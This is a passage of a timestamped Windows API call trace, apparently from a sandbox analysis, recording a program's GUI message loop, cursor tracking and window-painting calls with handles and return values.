lpdwProcessId=0x18fed8 | out: lpdwProcessId=0x18fed8) returned 0x8cc [0275.708] GetCurrentProcessId () returned 0x8d0 [0275.708] GetPropA (hWnd=0x1035a, lpString=0xc167) returned 0x2c74598 [0275.708] ClientToScreen (in: hWnd=0x1035a, lpPoint=0x18fedc | out: lpPoint=0x18fedc) returned 1 [0275.708] GetCapture () returned 0x0 [0275.708] WaitMessage () returned 1 [0275.774] PeekMessageA (in: lpMsg=0x18ff1c, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x18ff1c) returned 1 [0275.774] TranslateMessage (lpMsg=0x18ff1c) returned 0 [0275.774] DispatchMessageA (lpMsg=0x18ff1c) returned 0x0 [0275.774] CallWindowProcA (lpPrevWndFunc=0xffff00b1, hWnd=0x10340, Msg=0xf, wParam=0x0, lParam=0x0) returned 0x0 [0275.774] PeekMessageA (in: lpMsg=0x18ff1c, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x18ff1c) returned 0 [0275.774] GetCursorPos (in: lpPoint=0x18ff34 | out: lpPoint=0x18ff34*(x=893, y=499)) returned 1 [0275.774] WindowFromPoint (Point=0x37d) returned 0x1035a [0275.774] CallWindowProcA (lpPrevWndFunc=0x405e1c, hWnd=0x1035a, Msg=0x84, wParam=0x0, lParam=0x1f3037d) returned 0x1 [0275.774] GetWindowThreadProcessId (in: hWnd=0x1035a, lpdwProcessId=0x18fed8 | out: lpdwProcessId=0x18fed8) returned 0x8cc [0275.774] GetCurrentProcessId () returned 0x8d0 [0275.774] GetPropA (hWnd=0x1035a, lpString=0xc167) returned 0x2c74598 [0275.774] ClientToScreen (in: hWnd=0x1035a, lpPoint=0x18fedc | out: lpPoint=0x18fedc) returned 1 [0275.774] GetCapture () returned 0x0 [0275.774] WaitMessage () returned 1 [0275.845] PeekMessageA (in: lpMsg=0x18ff1c, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x18ff1c) returned 1 [0275.845] TranslateMessage (lpMsg=0x18ff1c) returned 0 [0275.846] DispatchMessageA (lpMsg=0x18ff1c) returned 0x0 [0275.846] CallWindowProcA (lpPrevWndFunc=0xffff00b1, hWnd=0x10340, Msg=0xf, wParam=0x0, lParam=0x0) returned 0x0 [0275.846] PeekMessageA (in: lpMsg=0x18ff1c, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x18ff1c) returned 0 [0275.846] GetCursorPos (in: lpPoint=0x18ff34 | out: lpPoint=0x18ff34*(x=893, y=499)) returned 1 [0275.846] WindowFromPoint (Point=0x37d) returned 0x1035a [0275.846] CallWindowProcA (lpPrevWndFunc=0x405e1c, hWnd=0x1035a, Msg=0x84, wParam=0x0, lParam=0x1f6037d) returned 0x1 [0275.846] GetWindowThreadProcessId (in: hWnd=0x1035a, lpdwProcessId=0x18fed8 | out: lpdwProcessId=0x18fed8) returned 0x8cc [0275.846] GetCurrentProcessId () returned 0x8d0 [0275.846] GetPropA (hWnd=0x1035a, lpString=0xc167) returned 0x2c74598 [0275.846] ClientToScreen (in: hWnd=0x1035a, lpPoint=0x18fedc | out: lpPoint=0x18fedc) returned 1 [0275.847] GetCapture () returned 0x0 [0275.847] WaitMessage () returned 1 [0275.908] PeekMessageA (in: lpMsg=0x18ff1c, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x18ff1c) returned 1 [0275.908] TranslateMessage (lpMsg=0x18ff1c) returned 0 [0275.908] DispatchMessageA (lpMsg=0x18ff1c) returned 0x0 [0275.909] CallWindowProcA (lpPrevWndFunc=0xffff00b1, hWnd=0x10340, Msg=0xf, wParam=0x0, lParam=0x0) returned 0x0 [0275.909] PeekMessageA (in: lpMsg=0x18ff1c, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x18ff1c) returned 0 [0275.909] GetCursorPos (in: lpPoint=0x18ff34 | out: lpPoint=0x18ff34*(x=893, y=499)) returned 1 [0275.909] WindowFromPoint (Point=0x382) returned 0x1035a [0275.909] CallWindowProcA (lpPrevWndFunc=0x405e1c, hWnd=0x1035a, Msg=0x84, wParam=0x0, lParam=0x1fb0382) returned 0x1 [0275.910] GetWindowThreadProcessId (in: hWnd=0x1035a, lpdwProcessId=0x18fed8 | out: lpdwProcessId=0x18fed8) returned 0x8cc [0275.910] GetCurrentProcessId () returned 0x8d0 [0275.910] GetPropA (hWnd=0x1035a, lpString=0xc167) returned 0x2c74598 [0275.910] ClientToScreen (in: hWnd=0x1035a, lpPoint=0x18fedc | out: lpPoint=0x18fedc) returned 1 [0275.910] GetCapture () returned 0x0 [0275.910] WaitMessage () returned 1 [0275.974] PeekMessageA (in: lpMsg=0x18ff1c, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x18ff1c) returned 1 [0275.974] TranslateMessage (lpMsg=0x18ff1c) returned 0 [0275.975] DispatchMessageA (lpMsg=0x18ff1c) returned 0x0 [0275.975] CallWindowProcA (lpPrevWndFunc=0xffff00b1, hWnd=0x10340, Msg=0xf, wParam=0x0, lParam=0x0) returned 0x0 [0275.975] PeekMessageA (in: lpMsg=0x18ff1c, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x18ff1c) returned 0 [0275.975] GetCursorPos (in: lpPoint=0x18ff34 | out: lpPoint=0x18ff34*(x=893, y=499)) returned 1 [0275.975] WindowFromPoint (Point=0x37d) returned 0x1035a [0275.975] CallWindowProcA (lpPrevWndFunc=0x405e1c, hWnd=0x1035a, Msg=0x84, wParam=0x0, lParam=0x1f3037d) returned 0x1 [0275.975] GetWindowThreadProcessId (in: hWnd=0x1035a, lpdwProcessId=0x18fed8 | out: lpdwProcessId=0x18fed8) returned 0x8cc [0275.975] GetCurrentProcessId () returned 0x8d0 [0275.975] GetPropA (hWnd=0x1035a, lpString=0xc167) returned 0x2c74598 [0275.976] ClientToScreen (in: hWnd=0x1035a, lpPoint=0x18fedc | out: lpPoint=0x18fedc) returned 1 [0275.976] GetCapture () returned 0x0 [0275.976] WaitMessage () returned 1 [0276.038] PeekMessageA (in: lpMsg=0x18ff1c, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x18ff1c) returned 1 [0276.038] TranslateMessage (lpMsg=0x18ff1c) returned 0 [0276.038] DispatchMessageA (lpMsg=0x18ff1c) returned 0x0 [0276.039] CallWindowProcA (lpPrevWndFunc=0xffff00b1, hWnd=0x10340, Msg=0xf, wParam=0x0, lParam=0x0) returned 0x0 [0276.039] PeekMessageA (in: lpMsg=0x18ff1c, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x18ff1c) returned 0 [0276.039] GetCursorPos (in: lpPoint=0x18ff34 | out: lpPoint=0x18ff34*(x=893, y=499)) returned 1 [0276.039] WindowFromPoint (Point=0x380) returned 0x1035a [0276.039] CallWindowProcA (lpPrevWndFunc=0x405e1c, hWnd=0x1035a, Msg=0x84, wParam=0x0, lParam=0x1f20380) returned 0x1 [0276.039] GetWindowThreadProcessId (in: hWnd=0x1035a, lpdwProcessId=0x18fed8 | out: lpdwProcessId=0x18fed8) returned 0x8cc [0276.039] GetCurrentProcessId () returned 0x8d0 [0276.039] GetPropA (hWnd=0x1035a, lpString=0xc167) returned 0x2c74598 [0276.039] ClientToScreen (in: hWnd=0x1035a, lpPoint=0x18fedc | out: lpPoint=0x18fedc) returned 1 [0276.040] GetCapture () returned 0x0 [0276.040] WaitMessage () returned 1 [0276.111] PeekMessageA (in: lpMsg=0x18ff1c, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x18ff1c) returned 1 [0276.111] TranslateMessage (lpMsg=0x18ff1c) returned 0 [0276.111] DispatchMessageA (lpMsg=0x18ff1c) returned 0x0 [0276.111] CallWindowProcA (lpPrevWndFunc=0xffff00b1, hWnd=0x10340, Msg=0xf, wParam=0x0, lParam=0x0) returned 0x0 [0276.111] PeekMessageA (in: lpMsg=0x18ff1c, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x18ff1c) returned 0 [0276.111] GetCursorPos (in: lpPoint=0x18ff34 | out: lpPoint=0x18ff34*(x=893, y=499)) returned 1 [0276.111] WindowFromPoint (Point=0x37d) returned 0x1035a [0276.111] CallWindowProcA (lpPrevWndFunc=0x405e1c, hWnd=0x1035a, Msg=0x84, wParam=0x0, lParam=0x1f3037d) returned 0x1 [0276.111] GetWindowThreadProcessId (in: hWnd=0x1035a, lpdwProcessId=0x18fed8 | out: lpdwProcessId=0x18fed8) returned 0x8cc [0276.111] GetCurrentProcessId () returned 0x8d0 [0276.112] GetPropA (hWnd=0x1035a, lpString=0xc167) returned 0x2c74598 [0276.112] ClientToScreen (in: hWnd=0x1035a, lpPoint=0x18fedc | out: lpPoint=0x18fedc) returned 1 [0276.112] GetCapture () returned 0x0 [0276.112] WaitMessage () returned 1 [0276.126] PeekMessageA (in: lpMsg=0x18ff1c, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x18ff1c) returned 1 [0276.126] TranslateMessage (lpMsg=0x18ff1c) returned 0 [0276.126] DispatchMessageA (lpMsg=0x18ff1c) returned 0x0 [0276.126] PeekMessageA (in: lpMsg=0x18ff1c, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x18ff1c) returned 0 [0276.126] GetCursorPos (in: lpPoint=0x18ff34 | out: lpPoint=0x18ff34*(x=893, y=499)) returned 1 [0276.126] WindowFromPoint (Point=0x37b) returned 0x1035a [0276.126] CallWindowProcA (lpPrevWndFunc=0x405e1c, hWnd=0x1035a, Msg=0x84, wParam=0x0, lParam=0x1f1037b) returned 0x1 [0276.126] GetWindowThreadProcessId (in: hWnd=0x1035a, lpdwProcessId=0x18fed8 | out: lpdwProcessId=0x18fed8) returned 0x8cc [0276.127] GetCurrentProcessId () returned 0x8d0 [0276.127] GetPropA (hWnd=0x1035a, lpString=0xc167) returned 0x2c74598 [0276.127] ClientToScreen (in: hWnd=0x1035a, lpPoint=0x18fedc | out: lpPoint=0x18fedc) returned 1 [0276.127] GetCapture () returned 0x0 [0276.127] WaitMessage () returned 1 [0276.174] PeekMessageA (in: lpMsg=0x18ff1c, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x18ff1c) returned 1 [0276.174] TranslateMessage (lpMsg=0x18ff1c) returned 0 [0276.174] DispatchMessageA (lpMsg=0x18ff1c) returned 0x0 [0276.174] CallWindowProcA (lpPrevWndFunc=0xffff00b1, hWnd=0x10340, Msg=0xf, wParam=0x0, lParam=0x0) returned 0x0 [0276.174] PeekMessageA (in: lpMsg=0x18ff1c, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x18ff1c) returned 0 [0276.175] GetCursorPos (in: lpPoint=0x18ff34 | out: lpPoint=0x18ff34*(x=893, y=499)) returned 1 [0276.175] WindowFromPoint (Point=0x387) returned 0x1035a [0276.175] CallWindowProcA (lpPrevWndFunc=0x405e1c, hWnd=0x1035a, Msg=0x84, wParam=0x0, lParam=0x1fc0387) returned 0x1 [0276.175] GetWindowThreadProcessId (in: hWnd=0x1035a, lpdwProcessId=0x18fed8 | out: lpdwProcessId=0x18fed8) returned 0x8cc [0276.175] GetCurrentProcessId () returned 0x8d0 [0276.175] GetPropA (hWnd=0x1035a, lpString=0xc167) returned 0x2c74598 [0276.175] ClientToScreen (in: hWnd=0x1035a, lpPoint=0x18fedc | out: lpPoint=0x18fedc) returned 1 [0276.175] GetCapture () returned 0x0 [0276.175] WaitMessage () returned 1 [0276.188] PeekMessageA (in: lpMsg=0x18ff1c, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x18ff1c) returned 1 [0276.188] TranslateMessage (lpMsg=0x18ff1c) returned 0 [0276.188] DispatchMessageA (lpMsg=0x18ff1c) returned 0x5a6c00 [0276.189] PeekMessageA (in: lpMsg=0x18ff1c, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x18ff1c) returned 1 [0276.189] TranslateMessage (lpMsg=0x18ff1c) returned 0 [0276.189] DispatchMessageA (lpMsg=0x18ff1c) returned 0x0 [0276.189] CallWindowProcA (lpPrevWndFunc=0xffff00b1, hWnd=0x10340, Msg=0xf, wParam=0x0, lParam=0x0) returned 0x0 [0276.189] IsIconic (hWnd=0xc0060) returned 0 [0276.189] IsIconic (hWnd=0xc0060) returned 0 [0276.189] GetClientRect (in: hWnd=0xc0060, lpRect=0x18f7a8 | out: lpRect=0x18f7a8) returned 1 [0276.189] FillRect (hDC=0x3d01069e, lprc=0x18f7a8, hbr=0xe100186) returned 1 [0276.189] CallWindowProcA (lpPrevWndFunc=0x405e1c, hWnd=0xc0060, Msg=0x318, wParam=0x3d01069e, lParam=0x4) returned 0x0 [0276.189] SendMessageA (hWnd=0x10340, Msg=0xbd35, wParam=0x3d01069e, lParam=0x10340) returned 0xe100186 [0276.189] GetSysColor (nIndex=8) returned 0x0 [0276.190] SetTextColor (hdc=0x3d01069e, color=0x0) returned 0x0 [0276.190] GetSysColor (nIndex=15) returned 0xf0f0f0 [0276.190] SetBkColor (hdc=0x3d01069e, color=0xf0f0f0) returned 0xf0f0f0 [0276.190] GetWindowThreadProcessId (in: hWnd=0x10340, lpdwProcessId=0x18f5d0 | out: lpdwProcessId=0x18f5d0) returned 0x8cc [0276.190] GetCurrentProcessId () returned 0x8d0 [0276.190] GetPropA (hWnd=0x10340, lpString=0xc167) returned 0x2c86b08 [0276.190] CallWindowProcA (lpPrevWndFunc=0xffff00b1, hWnd=0x10340, Msg=0xbc4e, wParam=0x10340, lParam=0x18f8b8) returned 0x0 [0276.190] GetWindowThreadProcessId (in: hWnd=0x10340, lpdwProcessId=0x18f5d0 | out: lpdwProcessId=0x18f5d0) returned 0x8cc [0276.190] GetCurrentProcessId () returned 0x8d0 [0276.190] GetPropA (hWnd=0x10340, lpString=0xc167) returned 0x2c86b08 [0276.190] CallWindowProcA (lpPrevWndFunc=0xffff00b1, hWnd=0x10340, Msg=0xbc4e, wParam=0x10340, lParam=0x18f8b8) returned 0x0 [0276.190] CallWindowProcA (lpPrevWndFunc=0xffff00b1, hWnd=0x10340, Msg=0xe, wParam=0x0, lParam=0x0) returned 0x7 [0276.190] CallWindowProcA (lpPrevWndFunc=0xffff00b1, hWnd=0x10340, Msg=0xd, wParam=0x8, lParam=0x18e78c) returned 0x7 [0276.190] CallWindowProcA (lpPrevWndFunc=0xffff00b1, hWnd=0x10340, Msg=0xd, wParam=0x10, lParam=0x18e764) returned 0x7 [0276.192] PeekMessageA (in: lpMsg=0x18ff1c, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x18ff1c) returned 0 [0276.192] GetCursorPos (in: lpPoint=0x18ff34 | out: lpPoint=0x18ff34*(x=893, y=499)) returned 1 [0276.192] WindowFromPoint (Point=0x37d) returned 0x1035a [0276.192] CallWindowProcA (lpPrevWndFunc=0x405e1c, hWnd=0x1035a, Msg=0x84, wParam=0x0, lParam=0x1f3037d) returned 0x1 [0276.192] GetWindowThreadProcessId (in: hWnd=0x1035a, lpdwProcessId=0x18fed8 | out: lpdwProcessId=0x18fed8) returned 0x8cc [0276.192] GetCurrentProcessId () returned 0x8d0 [0276.192] GetPropA (hWnd=0x1035a, lpString=0xc167) returned 0x2c74598 [0276.192] ClientToScreen (in: hWnd=0x1035a, lpPoint=0x18fedc | out: lpPoint=0x18fedc) returned 1 [0276.192] GetCapture () returned 0x0 [0276.192] WaitMessage () returned 1 [0276.263] PeekMessageA (in: lpMsg=0x18ff1c, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x18ff1c) returned 1 [0276.263] CallWindowProcA (lpPrevWndFunc=0x405e1c, hWnd=0x1035a, Msg=0x84, wParam=0x0, lParam=0x2060368) returned 0x1 [0276.263] GetCursorPos (in: lpPoint=0x18fca4 | out: lpPoint=0x18fca4*(x=872, y=518)) returned 1 [0276.264] ClientToScreen (in: hWnd=0x1035a, lpPoint=0x18fc8c | out: lpPoint=0x18fc8c) returned 1 [0276.264] CallWindowProcA (lpPrevWndFunc=0x405e1c, hWnd=0x1035a, Msg=0x20, wParam=0x1035a, lParam=0x2000001) returned 0x0 [0276.264] CallWindowProcA (lpPrevWndFunc=0x405e1c, hWnd=0x40338, Msg=0x20, wParam=0x1035a, lParam=0x2000001) returned 0x0 [0276.264] CallWindowProcA (lpPrevWndFunc=0x405e1c, hWnd=0xb0168, Msg=0x20, wParam=0x1035a, lParam=0x2000001) returned 0x0 [0276.264] CallWindowProcA (lpPrevWndFunc=0x405e1c, hWnd=0x60050, Msg=0x20, wParam=0x1035a, lParam=0x2000001) returned 0x0 [0276.264] CallWindowProcA (lpPrevWndFunc=0x405e1c, hWnd=0xc0060, Msg=0x20, wParam=0x1035a, lParam=0x2000001) returned 0x0 [0276.264] TranslateMessage (lpMsg=0x18ff1c) returned 0 [0276.264] DispatchMessageA (lpMsg=0x18ff1c) returned 0x0 [0276.264] GetCapture () returned 0x0 [0276.264] ClientToScreen (in: hWnd=0x1035a, lpPoint=0x18fd48 | out: lpPoint=0x18fd48) returned 1 [0276.264] WindowFromPoint (Point=0x368) returned 0x1035a [0276.264] CallWindowProcA (lpPrevWndFunc=0x405e1c, hWnd=0x1035a, Msg=0x84, wParam=0x0, lParam=0x2060368) returned 0x1 [0276.264] GetWindowThreadProcessId (in: hWnd=0x1035a, lpdwProcessId=0x18fd28 | out: lpdwProcessId=0x18fd28) returned 0x8cc [0276.264] GetCurrentProcessId () returned 0x8d0 [0276.264] GetPropA (hWnd=0x1035a, lpString=0xc167) returned 0x2c74598 [0276.264] ClientToScreen (in: hWnd=0x1035a, lpPoint=0x18fd2c | out: lpPoint=0x18fd2c) returned 1 [0276.264] CallWindowProcA (lpPrevWndFunc=0x405e1c, hWnd=0x1035a, Msg=0x200, wParam=0x0, lParam=0xb90169) returned 0x0 [0276.265] GetKeyState (nVirtKey=18) returned 1 [0276.265] PeekMessageA (in: lpMsg=0x18ff1c, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x18ff1c) returned 1 [0276.265] TranslateMessage (lpMsg=0x18ff1c) returned 0 [0276.265] DispatchMessageA (lpMsg=0x18ff1c) returned 0x0 [0276.265] CallWindowProcA (lpPrevWndFunc=0xffff00b1, hWnd=0x10340, Msg=0xf, wParam=0x0, lParam=0x0) returned 0x0 [0276.265] PeekMessageA (in: lpMsg=0x18ff1c, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x18ff1c) returned 0 [0276.265] GetCursorPos (in: lpPoint=0x18ff34 | out: lpPoint=0x18ff34*(x=872, y=518)) returned 1 [0276.265] WindowFromPoint (Point=0x367) returned 0x1035a [0276.265] CallWindowProcA (lpPrevWndFunc=0x405e1c, hWnd=0x1035a, Msg=0x84, wParam=0x0, lParam=0x2060367) returned 0x1 [0276.265] GetWindowThreadProcessId (in: hWnd=0x1035a, lpdwProcessId=0x18fed8 | out: lpdwProcessId=0x18fed8) returned 0x8cc [0276.265] GetCurrentProcessId () returned 0x8d0 [0276.265] GetPropA (hWnd=0x1035a, lpString=0xc167) returned 0x2c74598 [0276.265] ClientToScreen (in: hWnd=0x1035a, lpPoint=0x18fedc | out: lpPoint=0x18fedc) returned 1 [0276.265] GetCapture () returned 0x0 [0276.266] WaitMessage () returned 1 [0276.287] PeekMessageA (in: lpMsg=0x18ff1c, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x18ff1c) returned 1 [0276.287] CallWindowProcA (lpPrevWndFunc=0x405e1c, hWnd=0x1035a, Msg=0x84, wParam=0x0, lParam=0x210035e) returned 0x1 [0276.287] GetCursorPos (in: lpPoint=0x18fca4 | out: lpPoint=0x18fca4*(x=862, y=528)) returned 1 [0276.287] ClientToScreen (in: hWnd=0x1035a, lpPoint=0x18fc8c | out: lpPoint=0x18fc8c) returned 1 [0276.287] CallWindowProcA (lpPrevWndFunc=0x405e1c, hWnd=0x1035a, Msg=0x20, wParam=0x1035a, lParam=0x2000001) returned 0x0 [0276.287] CallWindowProcA (lpPrevWndFunc=0x405e1c, hWnd=0x40338, Msg=0x20, wParam=0x1035a, lParam=0x2000001) returned 0x0 [0276.287] CallWindowProcA (lpPrevWndFunc=0x405e1c, hWnd=0xb0168, Msg=0x20, wParam=0x1035a, lParam=0x2000001) returned 0x0 [0276.287] CallWindowProcA (lpPrevWndFunc=0x405e1c, hWnd=0x60050, Msg=0x20, wParam=0x1035a, lParam=0x2000001) returned 0x0 [0276.287] CallWindowProcA (lpPrevWndFunc=0x405e1c, hWnd=0xc0060, Msg=0x20, wParam=0x1035a, lParam=0x2000001) returned 0x0 [0276.287] TranslateMessage (lpMsg=0x18ff1c) returned 0 [0276.287] DispatchMessageA (lpMsg=0x18ff1c) returned 0x0 [0276.287] GetCapture () returned 0x0 [0276.287] ClientToScreen (in: hWnd=0x1035a, lpPoint=0x18fd48 | out: lpPoint=0x18fd48) returned 1 [0276.288] WindowFromPoint (Point=0x35e) returned 0x1035a [0276.288] CallWindowProcA (lpPrevWndFunc=0x405e1c, hWnd=0x1035a, Msg=0x84, wParam=0x0, lParam=0x210035e) returned 0x1 [0276.288] GetWindowThreadProcessId (in: hWnd=0x1035a, lpdwProcessId=0x18fd28 | out: lpdwProcessId=0x18fd28) returned 0x8cc [0276.288] GetCurrentProcessId () returned 0x8d0 [0276.288] GetPropA (hWnd=0x1035a, lpString=0xc167) returned 0x2c74598 [0276.288] ClientToScreen (in: hWnd=0x1035a, lpPoint=0x18fd2c | out: lpPoint=0x18fd2c) returned 1 [0276.288] CallWindowProcA (lpPrevWndFunc=0x405e1c, hWnd=0x1035a, Msg=0x200, wParam=0x0, lParam=0xc3015f) returned 0x0 [0276.288] GetKeyState (nVirtKey=18) returned 1 [0276.288] PeekMessageA (in: lpMsg=0x18ff1c, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x18ff1c) returned 0 [0276.288] GetCursorPos (in: lpPoint=0x18ff34 | out: lpPoint=0x18ff34*(x=862, y=528)) returned 1 [0276.288] WindowFromPoint (Point=0x35e) returned 0x1035a [0276.288] CallWindowProcA (lpPrevWndFunc=0x405e1c, hWnd=0x1035a, Msg=0x84, wParam=0x0, lParam=0x210035e) returned 0x1 [0276.288] GetWindowThreadProcessId (in: hWnd=0x1035a, lpdwProcessId=0x18fed8 | out: lpdwProcessId=0x18fed8) returned 0x8cc [0276.288] GetCurrentProcessId () returned 0x8d0 [0276.288] GetPropA (hWnd=0x1035a, lpString=0xc167) returned 0x2c74598 [0276.288] ClientToScreen (in: hWnd=0x1035a, lpPoint=0x18fedc | out: lpPoint=0x18fedc) returned 1 [0276.288] GetCapture () returned 0x0 [0276.288] WaitMessage () returned 1 [0276.313] PeekMessageA (in: lpMsg=0x18ff1c, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x18ff1c) returned 1 [0276.313] TranslateMessage (lpMsg=0x18ff1c) returned 0 [0276.313] DispatchMessageA (lpMsg=0x18ff1c) returned 0x0 [0276.313] CallWindowProcA (lpPrevWndFunc=0xffff00b1, hWnd=0x10340, Msg=0xf, wParam=0x0, lParam=0x0) returned 0x0 [0276.314] PeekMessageA (in: lpMsg=0x18ff1c, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x18ff1c) returned 0 [0276.314] GetCursorPos (in: lpPoint=0x18ff34 | out: lpPoint=0x18ff34*(x=862, y=528)) returned 1 [0276.314] WindowFromPoint (Point=0x35e) returned 0x1035a [0276.314] CallWindowProcA (lpPrevWndFunc=0x405e1c, hWnd=0x1035a, Msg=0x84, wParam=0x0, lParam=0x210035e) returned 0x1 [0276.314] GetWindowThreadProcessId (in: hWnd=0x1035a, lpdwProcessId=0x18fed8 | out: lpdwProcessId=0x18fed8) returned 0x8cc [0276.314] GetCurrentProcessId () returned 0x8d0 [0276.314] GetPropA (hWnd=0x1035a, lpString=0xc167) returned 0x2c74598 [0276.314] ClientToScreen (in: hWnd=0x1035a, lpPoint=0x18fedc | out: lpPoint=0x18fedc) returned 1 [0276.314] GetCapture () returned 0x0 [0276.314] WaitMessage () returned 1 [0276.342] PeekMessageA (in: lpMsg=0x18ff1c, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x18ff1c) returned 1 [0276.342] CallWindowProcA (lpPrevWndFunc=0x405e1c, hWnd=0x1035a, Msg=0x84, wParam=0x0, lParam=0x21a0354) returned 0x1 [0276.342] GetCursorPos (in: lpPoint=0x18fca4 | out: lpPoint=0x18fca4*(x=852, y=538)) returned 1 [0276.342] ClientToScreen (in: hWnd=0x1035a, lpPoint=0x18fc8c | out: lpPoint=0x18fc8c) returned 1 [0276.342] CallWindowProcA (lpPrevWndFunc=0x405e1c, hWnd=0x1035a, Msg=0x20, wParam=0x1035a, lParam=0x2000001) returned 0x0 [0276.342] CallWindowProcA (lpPrevWndFunc=0x405e1c, hWnd=0x40338, Msg=0x20, wParam=0x1035a, lParam=0x2000001) returned 0x0 [0276.342] CallWindowProcA (lpPrevWndFunc=0x405e1c, hWnd=0xb0168, Msg=0x20, wParam=0x1035a, lParam=0x2000001) returned 0x0 [0276.342] CallWindowProcA (lpPrevWndFunc=0x405e1c, hWnd=0x60050, Msg=0x20, wParam=0x1035a, lParam=0x2000001) returned 0x0 [0276.342] CallWindowProcA (lpPrevWndFunc=0x405e1c, hWnd=0xc0060, Msg=0x20, wParam=0x1035a, lParam=0x2000001) returned 0x0 [0276.342] TranslateMessage (lpMsg=0x18ff1c) returned 0 [0276.342] DispatchMessageA (lpMsg=0x18ff1c) returned 0x0 [0276.343] GetCapture () returned 0x0 [0276.343] ClientToScreen (in: hWnd=0x1035a, lpPoint=0x18fd48 | out: lpPoint=0x18fd48) returned 1 [0276.343] WindowFromPoint (Point=0x354) returned 0x1035a [0276.343] CallWindowProcA (lpPrevWndFunc=0x405e1c, hWnd=0x1035a, Msg=0x84, wParam=0x0, lParam=0x21a0354) returned 0x1 [0276.343] GetWindowThreadProcessId (in: hWnd=0x1035a, lpdwProcessId=0x18fd28 | out: lpdwProcessId=0x18fd28) returned 0x8cc [0276.343] GetCurrentProcessId () returned 0x8d0 [0276.343] GetPropA (hWnd=0x1035a, lpString=0xc167) returned 0x2c74598 [0276.343] ClientToScreen (in: hWnd=0x1035a, lpPoint=0x18fd2c | out: lpPoint=0x18fd2c) returned 1 [0276.343] CallWindowProcA (lpPrevWndFunc=0x405e1c, hWnd=0x1035a, Msg=0x200, wParam=0x0, lParam=0xcd0155) returned 0x0 [0276.343] GetKeyState (nVirtKey=18) returned 1 [0276.343] PeekMessageA (in: lpMsg=0x18ff1c, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x18ff1c) returned 0 [0276.343] GetCursorPos (in: lpPoint=0x18ff34 | out: lpPoint=0x18ff34*(x=852, y=538)) returned 1 [0276.343] WindowFromPoint (Point=0x351) returned 0x1035a [0276.343] CallWindowProcA (lpPrevWndFunc=0x405e1c, hWnd=0x1035a, Msg=0x84, wParam=0x0, lParam=0x21c0351) returned 0x1 [0276.343] GetWindowThreadProcessId (in: hWnd=0x1035a, lpdwProcessId=0x18fed8 | out: lpdwProcessId=0x18fed8) returned 0x8cc [0276.343] GetCurrentProcessId () returned 0x8d0 [0276.343] GetPropA (hWnd=0x1035a, lpString=0xc167) returned 0x2c74598 [0276.343] ClientToScreen (in: hWnd=0x1035a, lpPoint=0x18fedc | out: lpPoint=0x18fedc) returned 1 [0276.343] GetCapture () returned 0x0 [0276.343] WaitMessage () returned 1 [0276.361] PeekMessageA (in: lpMsg=0x18ff1c, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x18ff1c) returned 1 [0276.361] CallWindowProcA (lpPrevWndFunc=0x405e1c, hWnd=0x1035a, Msg=0x84, wParam=0x0, lParam=0x2240352) returned 0x1 [0276.361] GetCursorPos (in: lpPoint=0x18fca4 | out: lpPoint=0x18fca4*(x=850, y=548)) returned 1 [0276.361] ClientToScreen (in: hWnd=0x1035a, lpPoint=0x18fc8c | out: lpPoint=0x18fc8c) returned 1 [0276.361] CallWindowProcA (lpPrevWndFunc=0x405e1c, hWnd=0x1035a, Msg=0x20, wParam=0x1035a, lParam=0x2000001) returned 0x0 [0276.361] CallWindowProcA (lpPrevWndFunc=0x405e1c, hWnd=0x40338, 